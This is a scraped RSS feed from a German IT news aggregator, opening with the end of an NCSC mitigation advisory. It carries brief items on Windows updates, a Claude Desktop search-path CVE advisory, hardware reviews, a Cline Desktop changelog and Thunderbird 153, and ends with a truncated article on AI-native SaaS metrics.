<li><strong>Prevent and detect lateral movement in your organization’s networks</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a></li>
<li><strong>Implement architectural controls for network segregation</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/10-steps-network-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/10-steps-network-security</u></a></li>
<li><strong>Set up a security monitoring</strong> <strong>capability</strong> so you are collecting the data that will be needed to analyze network intrusions. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes" target="_blank"><u>https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes</u></a> and <a href="https://www.ncsc.gov.uk/information/logging-made-easy" target="_blank"><u>https://www.ncsc.gov.uk/information/logging-made-easy</u></a></li>
<li><strong>Use modern systems and software.</strong> These have better security built-in. If you cannot move off out-of-date platforms and applications straight away, there are short term steps you can take to improve your position. See NCSC Guidance:  <a href="https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products" target="_blank"><u>https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products</u></a></li>
<li><strong>Restrict intruders' ability to move freely around your systems and networks</strong>. Pay particular attention to potentially vulnerable entry points such as third-party systems with onward access to your core network. During an incident, disable remote access from third-party systems until you are sure they are clean. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a> and <a href="https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security</u></a><u>.</u></li>
<li><strong>Deploy a host-based intrusion detection system</strong>. A variety of products are available, free and paid-for, to suit different needs and budgets.</li>
<li><strong>Further information</strong>: Invest in preventing malware-based attacks across various scenarios.  See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks" target="_blank"><u>https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks</u></a> </li>
</ul>
<h4><strong>Disclaimer </strong> </h4>
<p>This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by co-sealers. UK readers should refer to the NCSC website for information about <a href="https://www.ncsc.gov.uk/section/products-services/assured-services" target="_blank"><u>NCSC assured services</u></a>. </p>
</div>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Refer any FOIA queries to <a href="mailto:ncscinfoleg@ncsc.gov.uk" target="_blank"><u>ncscinfoleg@ncsc.gov.uk</u></a>.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>All material is UK Crown Copyright © </p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows Recovery: Microsoft veröffentlicht fünf neue WinRE-Updates]]></title>
<description><![CDATA[Microsoft hat frische dynamische Updates für unterschiedliche Windows-Versionen veröffentlicht. Die Aktualisierungen bringen Verbesserungen für die Windows-Wiederherstellungsumgebung WinRE und das Setup mit. (Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3693172/it-nachrichten/windows-recovery-microsoft-veroeffentlicht-fuenf-neue-winre-updates/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693172/it-nachrichten/windows-recovery-microsoft-veroeffentlicht-fuenf-neue-winre-updates/</guid>
<pubDate>Sat, 25 Jul 2026 08:12:30 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/news,158188.html"><img hspace="5" border="0" align="left" alt="Windows 11, Microsoft Windows 11, 22h2, Windows 11 Update, Windows 11 22H2, Windows 11 22H2 Update" width="128" height="72" src="https://i.wfcdn.de/teaser/128/59097.png"></a>Microsoft hat frische dynamische Updates für unterschiedliche Windows-Versionen veröffentlicht. Die Aktualisierungen bringen Verbesserungen für die Windows-Wiederherstellungsumgebung WinRE und das Setup mit. (<a href="https://winfuture.de/news,158188.html">Weiter lesen</a>)]]></content:encoded>
</item>
<item>
<title><![CDATA[I fixed my home office's spotty Wi-Fi with Samsung's free diagnostic tool - and it took just minutes]]></title>
<description><![CDATA[A recent uptick in lag and disconnects led me to reevaluate my home office setup. Here's how I validated my solution.]]></description>
<link>https://tsecurity.de/de/3693068/it-nachrichten/i-fixed-my-home-offices-spotty-wi-fi-with-samsungs-free-diagnostic-tool-and-it-took-just-minutes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693068/it-nachrichten/i-fixed-my-home-offices-spotty-wi-fi-with-samsungs-free-diagnostic-tool-and-it-took-just-minutes/</guid>
<pubDate>Sat, 25 Jul 2026 05:53:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A recent uptick in lag and disconnects led me to reevaluate my home office setup. Here's how I validated my solution.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-22561 | Anthropic Claude Desktop up to 1.1.3362 on Windows Setup.exe uncontrolled search path]]></title>
<description><![CDATA[A vulnerability classified as problematic was found in Anthropic Claude Desktop up to 1.1.3362 on Windows. The impacted element is an unknown function in the library profapi.dll of the file Setup.exe. The manipulation results in uncontrolled search path.

This vulnerability was named CVE-2026-225...]]></description>
<link>https://tsecurity.de/de/3692888/sicherheitsluecken/cve-2026-22561-anthropic-claude-desktop-up-to-113362-on-windows-setupexe-uncontrolled-search-path/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692888/sicherheitsluecken/cve-2026-22561-anthropic-claude-desktop-up-to-113362-on-windows-setupexe-uncontrolled-search-path/</guid>
<pubDate>Sat, 25 Jul 2026 04:54:26 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> was found in <a href="https://vuldb.com/product/anthropic:claude_desktop">Anthropic Claude Desktop up to 1.1.3362</a> on Windows. The impacted element is an unknown function in the library <em>profapi.dll</em> of the file <em>Setup.exe</em>. The manipulation results in uncontrolled search path.

This vulnerability was named <a href="https://vuldb.com/cve/CVE-2026-22561">CVE-2026-22561</a>. The attack needs to be approached locally. There is no available exploit.

Upgrading the affected component is advised.]]></content:encoded>
</item>
<item>
<title><![CDATA[This Apple-1 auction expected to cost the winner as much as 275 iPhone 17 Pros]]></title>
<description><![CDATA[A working 1977 Apple-1 expected to garner at least $300,000 leads RR Auction's sprawling sale of rare hardware, prototypes, and Steve Jobs memorabilia from Apple's earliest years.The 'Neumark' Apple-1 - 'Byte Shop'-Style. Image credit: RR AuctionsThe Apple-1 comes from Apple's second batch of 50 ...]]></description>
<link>https://tsecurity.de/de/3692312/ios-mac-os/this-apple-1-auction-expected-to-cost-the-winner-as-much-as-275-iphone-17-pros/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692312/ios-mac-os/this-apple-1-auction-expected-to-cost-the-winner-as-much-as-275-iphone-17-pros/</guid>
<pubDate>Fri, 24 Jul 2026 20:48:38 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A working 1977 Apple-1 expected to garner at least $300,000 leads RR Auction's sprawling sale of rare hardware, prototypes, and <a href="https://appleinsider.com/inside/steve-jobs" title="Steve Jobs" data-kpt="1">Steve Jobs</a> memorabilia from Apple's earliest years.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68357-144067-1039C832-5BB1-46DA-9996-DF1ACC1FE9B1-xl.jpg" alt="Open suitcase containing a vintage portable computer setup with a builtin keyboard and cassette recorder, shown on a plain white background." height="738"><span>The 'Neumark' Apple-1 - 'Byte Shop'-Style. Image credit: RR Auctions</span></div><br>The <a href="https://appleinsider.com/articles/25/07/29/rare-apple-memorabilia-macs-more-up-for-auction-ending-august-21" data-kpt="1">Apple-1</a> comes from Apple's second batch of 50 machines, according to the auction house. Known as the <a href="https://www.rrauction.com/auctions/lot-detail/351632707484040-apple-1-computer-the-neumark-apple-1-byte-shop-style-in-a-unique-smith-corona-typewriter-case-with-original-documentation-sold-internationally-in-1977/" data-kpt="1">"Neumark" computer</a>, it sits inside a modified Smith-Corona typewriter case and was restored to working condition by Apple-1 specialist Corey Cohen in June 2026.<br><br>Apple sold the Apple-1 as an assembled circuit board rather than a complete consumer computer, so buyers had to add the other components and an enclosure themselves. The Neumark machine stands out because it still works inside the suitcase. The auction also includes surviving documentation.<br><br>RR Auction's estimates aren't guarantees of what buyers will pay. Final prices will depend on how much competition each lot attracts before the sale closes.<br><br><br> <a href="https://appleinsider.com/articles/26/07/24/this-apple-1-auction-expected-to-cost-the-winner-as-much-as-275-iphone-17-pros?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245057?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[I fixed my home office's spotty Wi-Fi with Samsung's free diagnostic tool - and it took just minutes]]></title>
<description><![CDATA[A recent uptick in lag and disconnects led me to reevaluate my home office setup. Here's how I validated my solution.]]></description>
<link>https://tsecurity.de/de/3692036/hacking/i-fixed-my-home-offices-spotty-wi-fi-with-samsungs-free-diagnostic-tool-and-it-took-just-minutes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692036/hacking/i-fixed-my-home-offices-spotty-wi-fi-with-samsungs-free-diagnostic-tool-and-it-took-just-minutes/</guid>
<pubDate>Fri, 24 Jul 2026 18:29:19 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A recent uptick in lag and disconnects led me to reevaluate my home office setup. Here's how I validated my solution.]]></content:encoded>
</item>
<item>
<title><![CDATA[I’ve been gaming for 40 years. Here are the best chairs in the UK for comfort, support and serious play]]></title>
<description><![CDATA[Whether you’re on PC or a console, level up your setup with our gaming expert’s pick of the best chairs• The best games of 2026 so farComfort is crucial to the gaming experience. It’s hard to focus on blasting aliens or taking Stoke to the Champions League final if your bum has gone to sleep beca...]]></description>
<link>https://tsecurity.de/de/3691779/it-nachrichten/ive-been-gaming-for-40-years-here-are-the-best-chairs-in-the-uk-for-comfort-support-and-serious-play/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691779/it-nachrichten/ive-been-gaming-for-40-years-here-are-the-best-chairs-in-the-uk-for-comfort-support-and-serious-play/</guid>
<pubDate>Fri, 24 Jul 2026 16:21:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Whether you’re on PC or a console, level up your setup with our gaming expert’s pick of the best chairs</p><p>• <a href="https://www.theguardian.com/culture/ng-interactive/2026/jun/11/the-best-games-of-2026-so-far"><strong>The best games of 2026 so far</strong></a></p><p>Comfort is crucial to the gaming experience. It’s hard to focus on blasting aliens or taking Stoke to the Champions League final if your bum has gone to sleep because you’ve been sitting on an old chair for three hours. We’re spending <a href="https://www.nytimes.com/2025/10/03/upshot/video-games-boys-young-men.html">more time playing games than ever before</a>, so good posture matters. If you have set up a dedicated gaming space, then a rickety seat just won’t cut it.</p><p>From luxurious ergonomic thrones to cheap-and-cheerful bucket seats, the options available are bewildering. So I set out on an epic quest: to find the most comfortable, durable and stylish gaming chairs. Here’s what I discovered.</p><p><strong>Best gaming chair overall:</strong><br>
 Secretlab Titan Evo</p><p><strong>Best budget gaming chair:</strong><br>
 ThunderX3 Solo 360</p> <a href="https://www.theguardian.com/thefilter/2026/jul/24/best-gaming-chairs-tested-uk">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Glorious GMMK 3 PRO HE Wireless Keyboard im Test: Der Ferrari unter den kabellosen Tastaturen]]></title>
<description><![CDATA[Seitdem ich mit macOS unterwegs bin und sowohl privat als auch beruflich ein MacBook verwende, setze ich beim stationären Arbeiten am Schreibtisch auf einen externen Monitor sowie kabellose Bluetooth-Mäuse und -Tastaturen für ein besonders flexibles Setup. Bei den Tastaturen war es lange Zeit das...]]></description>
<link>https://tsecurity.de/de/3691647/ios-mac-os/glorious-gmmk-3-pro-he-wireless-keyboard-im-test-der-ferrari-unter-den-kabellosen-tastaturen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691647/ios-mac-os/glorious-gmmk-3-pro-he-wireless-keyboard-im-test-der-ferrari-unter-den-kabellosen-tastaturen/</guid>
<pubDate>Fri, 24 Jul 2026 15:13:00 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Seitdem ich mit macOS unterwegs bin und sowohl privat als auch beruflich ein MacBook verwende, setze ich beim stationären Arbeiten am Schreibtisch auf einen externen Monitor sowie kabellose Bluetooth-Mäuse und -Tastaturen für ein besonders flexibles Setup. Bei den Tastaturen war es lange Zeit das Magic Keyboard von Apple, ehe ich mich auch aus ästhetischen Gründen […]</p>
<p>Der Beitrag <a href="https://www.appgefahren.de/glorious-gmmk-3-pro-he-wireless-keyboard-im-test-der-ferrari-unter-den-kabellosen-tastaturen-402830.html">Glorious GMMK 3 PRO HE Wireless Keyboard im Test: Der Ferrari unter den kabellosen Tastaturen</a> erschien zuerst auf <a href="https://www.appgefahren.de/">appgefahren.de</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Glaze AI: Glaze-Apps können nun native KI-Unterstützung bieten – ohne Setup & API-Schlüssel]]></title>
<description><![CDATA[Erst zum Anfang des Monats hat das Raycast-Team sein Portfolio um die Vibe-Coding-App Glaze aufgestockt. Nutzer können beschreiben, was sie gerne von der App benötigen, und...Zum Beitrag: Glaze AI: Glaze-Apps können nun native KI-Unterstützung bieten – ohne Setup & API-Schlüssel

Wo du uns folgen...]]></description>
<link>https://tsecurity.de/de/3691196/it-nachrichten/glaze-ai-glaze-apps-koennen-nun-native-ki-unterstuetzung-bieten-ohne-setup-api-schluessel/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691196/it-nachrichten/glaze-ai-glaze-apps-koennen-nun-native-ki-unterstuetzung-bieten-ohne-setup-api-schluessel/</guid>
<pubDate>Fri, 24 Jul 2026 11:49:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Erst zum Anfang des Monats hat das Raycast-Team sein Portfolio um die Vibe-Coding-App Glaze aufgestockt. Nutzer können beschreiben, was sie gerne von der App benötigen, und...<p>Zum Beitrag: <a href="https://stadt-bremerhaven.de/glaze-ai-glaze-apps-koennen-nun-native-ki-unterstuetzung-bieten-ohne-setup-api-schluessel/">Glaze AI: Glaze-Apps können nun native KI-Unterstützung bieten – ohne Setup &amp; API-Schlüssel</a>
</p><p>
Wo du uns folgen kannst:
<a href="http://www.facebook.com/CaschysBlog">Facebook</a>, <a href="https://www.reddit.com/r/CaschysBlog/">Reddit</a>, <a href="https://news.google.com/publications/CAAqMQgKIitDQklTR2dnTWFoWUtGSE4wWVdSMExXSnlaVzFsY21oaGRtVnVMbVJsS0FBUAE?ceid=DE:de&amp;oc=3">Google News</a>, <a href="https://x.com/CaschysBlog">X</a>, <a href="https://www.threads.com/@caschysblog">Threads</a>
<br>
</p><div>
    <strong>Auf dem Laufenden bleiben?</strong>
    <br>
    <a href="https://www.google.com/preferences/source?q=stadt-bremerhaven.de">Fügt uns doch bei Google als bevorzugte Quelle hinzu!</a>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Desktop v0.0.4]]></title>
<description><![CDATA[Start chatting without opening a project folder — the app now supports workspace-free chat sessions.
New first-run onboarding flow to get you set up on launch.
Drag and drop files directly onto the chat to attach them.
Image attachments now display inline in the chat transcript.
Schedule one-time...]]></description>
<link>https://tsecurity.de/de/3690551/downloads/desktop-v004/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690551/downloads/desktop-v004/</guid>
<pubDate>Fri, 24 Jul 2026 04:02:06 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>Start chatting without opening a project folder — the app now supports workspace-free chat sessions.</li>
<li>New first-run onboarding flow to get you set up on launch.</li>
<li>Drag and drop files directly onto the chat to attach them.</li>
<li>Image attachments now display inline in the chat transcript.</li>
<li>Schedule one-time routines (not just recurring ones), with navigation to jump to a routine's run.</li>
<li>New custom overlay title bar with in-app navigation.</li>
<li>Redesigned channel setup as expandable cards.</li>
<li>Added a setting to replay the new-user experience.</li>
<li>Cleaner chat markdown rendering, and external links now open correctly in your browser.</li>
<li>Agent sessions now use agentic compaction by default, keeping long conversations within context more intelligently.</li>
<li>Fixed the agent not finding <code>gh</code> and other CLI tools by resolving your login shell's PATH.</li>
<li>Headless routines now default to YOLO mode so they can run unattended.</li>
<li>Fixed request metering for the SAP AI Core provider.</li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/cline/cline/compare/desktop-v0.0.3...desktop-v0.0.4"><tt>desktop-v0.0.3...desktop-v0.0.4</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[An AirPod-powered Frisbee tracker makes backyard throws scientific]]></title>
<description><![CDATA[A developer and Frisbee fan turned AirPods into a flying-disc stat tracker, using motion sensors to measure throws in a clever demonstration of what Apple's earbuds can do beyond playing audio.AirPods 4Sharhan demonstrated Kinapod Disc on Reddit on July 20. The setup requires users to make a smal...]]></description>
<link>https://tsecurity.de/de/3689282/ios-mac-os/an-airpod-powered-frisbee-tracker-makes-backyard-throws-scientific/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689282/ios-mac-os/an-airpod-powered-frisbee-tracker-makes-backyard-throws-scientific/</guid>
<pubDate>Thu, 23 Jul 2026 16:08:59 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A developer and Frisbee fan turned <a href="https://appleinsider.com/inside/airpods" title="AirPods" data-kpt="1">AirPods</a> into a flying-disc stat tracker, using motion sensors to measure throws in a clever demonstration of what Apple's earbuds can do beyond playing audio.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68335-144037-AirPods-4-case-xl.jpg" alt="White wireless earbuds resting in an open charging case on a soft gray fabric surface, with the case lid tilted back and earbuds partially seated in their slots" height="738"><span>AirPods 4</span></div><br>Sharhan <a href="https://www.reddit.com/r/airpods/comments/1v22xgq/airpods_can_track_frisbee_throws/">demonstrated Kinapod Disc</a> on Reddit on July 20. The setup requires users to make a small hole in the center of a flying disc and insert one AirPod stem-first.<br><br>Once it's mounted, the AirPod sends motion data to an <a href="https://appleinsider.com/inside/iphone" title="iPhone" data-kpt="1">iPhone</a> while Kinapod Disc detects each throw and records spin rate, total revolutions, estimated release speed, and airborne time.<br><br>It's a fun albeit expensive solution to the problem of throwing a plastic disc without enough statistics. It's also a clever use of motion sensors Apple builds into AirPods.<br><br><br> <a href="https://appleinsider.com/articles/26/07/23/an-airpod-powered-frisbee-tracker-makes-backyard-throws-scientific?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245036?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mozilla releases Thunderbird 153 with native Microsoft Exchange support]]></title>
<description><![CDATA[Thunderbird 153 “Meadow” has been released, introducing native Microsoft Exchange support alongside a redesigned account setup experience, user interface improvements, and security fixes. The update marks the first time Exchange accounts can be configured directly in Thunderbird without relying o...]]></description>
<link>https://tsecurity.de/de/3689136/it-security-nachrichten/mozilla-releases-thunderbird-153-with-native-microsoft-exchange-support/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689136/it-security-nachrichten/mozilla-releases-thunderbird-153-with-native-microsoft-exchange-support/</guid>
<pubDate>Thu, 23 Jul 2026 15:14:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Thunderbird 153 “Meadow” has been released, introducing native Microsoft Exchange support alongside a redesigned account setup experience, user interface improvements, and security fixes. The update marks the first time Exchange accounts can be configured directly in Thunderbird without relying on third-party add-ons. Mozilla describes Thunderbird 153 as the culmination of the features and refinements introduced …</p>
<p>The post <a href="https://cyberinsider.com/mozilla-releases-thunderbird-1-53-with-native-microsoft-exchange-support/">Mozilla releases Thunderbird 153 with native Microsoft Exchange support</a> appeared first on <a href="https://cyberinsider.com/">CyberInsider</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The new value architecture of the AI-native SaaS era]]></title>
<description><![CDATA[The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.



In brief:




AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.



Smart companies are evolving new metrics that provide deep...]]></description>
<link>https://tsecurity.de/de/3688966/it-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688966/it-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</guid>
<pubDate>Thu, 23 Jul 2026 14:05:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.</p>



<p class="wp-block-paragraph">In brief:</p>



<ul class="wp-block-list">
<li><a href="https://www.cio.com/article/4146669/is-ai-the-end-of-saas-as-we-know-it.html">AI is transforming software as a service (SaaS)</a>, and the old ways of keeping score no longer apply.</li>



<li>Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.</li>



<li>These changes impact everything from pricing to valuations.</li>
</ul>



<p class="wp-block-paragraph">The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.</p>



<p class="wp-block-paragraph">The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.</p>



<p class="wp-block-paragraph">While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">credit-centric metrics framework</a>, with seats and outcomes as the bookends of a spectrum.</p>



<h2 class="wp-block-heading">Why do software companies need new metrics?</h2>



<p class="wp-block-paragraph">Why the rethink, and why now? There are five major forces that are driving this shift:</p>



<ol start="1" class="wp-block-list">
<li><a href="https://www.idc.com/resource-center/blog/is-saas-dead-rethinking-the-future-of-software-in-the-age-of-ai/"><strong>The unit of value is changing</strong></a><strong>.</strong> Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.</li>



<li><strong>The cost of goods sold (COGS) is exploding.</strong> AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.</li>



<li><strong>Buying is moving up the org chart.</strong> AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.</li>



<li><strong>Time to value (TTV) is collapsing.</strong> With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.</li>



<li><strong>Retention is bifurcating.</strong> AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.</li>
</ol>



<h2 class="wp-block-heading">How this shift is impacting pricing</h2>



<p class="wp-block-paragraph"><a href="https://www.ey.com/en_us/insights/strategy/grow-with-trusted-software-portfolio-management">Given how AI-native software is transforming the market</a>, the shift to more variable pricing options is inevitable.</p>



<p class="wp-block-paragraph">Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.</p>



<p class="wp-block-paragraph">Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.</p>



<p class="wp-block-paragraph">Finally, the industry will likely see <a href="https://www.gartner.com/en/newsroom/press-releases/2026-07-01-gartner-says-us-dollars-234-billion-in-enterprise-application-software-spend-is-at-risk-from-agentic-artificial-intelligence">some move toward outcome-based pricing</a> for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.</p>



<p class="wp-block-paragraph">Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.</p>



<h2 class="wp-block-heading">How AI upends classic SaaS metrics</h2>



<p class="wp-block-paragraph">When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?</p>



<p class="wp-block-paragraph">But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:</p>



<h3 class="wp-block-heading">Revenue composition</h3>



<ul class="wp-block-list">
<li>Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.</li>



<li>Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.</li>



<li>Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.</li>



<li>Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.</li>
</ul>



<h3 class="wp-block-heading">Margin reality</h3>



<ul class="wp-block-list">
<li>Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.</li>



<li>Inference-adjusted gross margin: By carving out AI inference costs separately in the P&amp;L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.</li>



<li>Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.</li>



<li>AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.</li>
</ul>



<h3 class="wp-block-heading">Behavioral and value signals</h3>



<ul class="wp-block-list">
<li>Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.</li>



<li>Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.</li>



<li>Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.</li>
</ul>



<p class="wp-block-paragraph">Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.</p>



<h2 class="wp-block-heading">What does this mean for enterprise value calculations?</h2>



<p class="wp-block-paragraph">As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.</p>



<p class="wp-block-paragraph">Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.</p>



<p class="wp-block-paragraph">For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.</p>



<p class="wp-block-paragraph">In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.</p>



<p class="wp-block-paragraph">We’re also seeing an inversion of the operating model, with R&amp;D and COGS moving up the P&amp;L and sales and marketing (S&amp;M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.</p>



<p class="wp-block-paragraph">Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.</p>



<h2 class="wp-block-heading">What this means for leaders, boards and investors</h2>



<p class="wp-block-paragraph">The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.</p>



